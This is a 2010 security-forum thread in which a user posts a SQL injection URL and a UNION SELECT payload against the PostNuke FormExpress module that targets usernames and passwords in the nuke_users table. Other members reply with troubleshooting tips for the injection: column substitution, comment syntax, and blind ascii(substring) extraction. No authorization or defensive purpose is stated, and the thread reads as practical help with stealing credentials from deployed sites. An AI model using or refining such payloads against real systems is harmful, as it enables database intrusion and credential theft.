 |
|
 |
 |
|
 |
IT Security and Insecurity Portal |
|
 |
PostNuke ContentExpress Module Blind Sql Injection |
 |
 Posted: Wed Mar 17, 2010 1:37 pm |
 |
|
| clust3rx |
| Beginner |
 |
|
| Joined: Mar 17, 2010 |
| Posts: 3 |
|
|
|
 |
|
 |
|
Hi All I try this :
/index.php?module=FormExpress&func=display_form&form_id=1'
and there is a sql injection so I try with
-1+union+select+concat(pn_uname,char(5 ,pn_pass),1,2,3,4,5,6,7,8+from+nuke_users+where+uid=2/* and other but It doesn't work.. any idea?
Thanks  |
|
|
|
|
| Posted: Wed Mar 17, 2010 5:30 pm |
|
|
| vince213333 |
| Advanced user |
 |
|
| Joined: Aug 03, 2009 |
| Posts: 737 |
| Location: Belgium |
|
|
|
|
|
|
There are some things wrong with your SQL statement. I suggest reading something about basic SQL and SQL injection 
You use the concat function and then start with 1,2,3,...
Normally you should replace a visible number on the site with the column name (or concat) you need, so for example you'd get 1,2,concat(...),4,5,... if the number 3 appeared on the site somewhere.
I'd also drop the "where" clause, it ain't necessary as far as I know.
If the /* comment doesn't work, try -- instead. |
|
|
|
|
|
Re: PostNuke ContentExpress Module Blind Sql Injection |
|
| Posted: Wed Mar 17, 2010 8:13 pm |
|
|
| x3roconf_ |
| Advanced user |
|
|
| Joined: May 01, 2008 |
| Posts: 101 |
|
|
|
|
|
|
|
| clust3rx wrote: | Hi All I try this :
/index.php?module=FormExpress&func=display_form&form_id=1'
and there is a sql injection so I try with
-1+union+select+concat(pn_uname,char(5,pn_pass),1,2,3,4,5,6,7,8+from+nuke_users+where+uid=2/* and other but It doesn't work.. any idea?
Thanks |
Quoting exploit information:
"The Attacker could read content of the database via blind sql injection methods (like ascii(substring))"
So you need to use ascii(substring)) |
|
|
|
|
| Posted: Wed Mar 17, 2010 9:28 pm |
|
|
| vince213333 |
| Advanced user |
|
|
| Joined: Aug 03, 2009 |
| Posts: 737 |
| Location: Belgium |
|
|
|
|
|
|
| Sorry, didn't read the title ^^ |
|
|
|
|
www.waraxe.us Forum Index -> Sql injection
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
|
All times are GMT
Page 1 of 1
|
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|
Discussions
Tools
Content
Info
Membership:
Latest: 
New Today: 0
New Yesterday: 0
Overall: 9144
People Online:
Visitors: 137
Members: 0
Total: 137
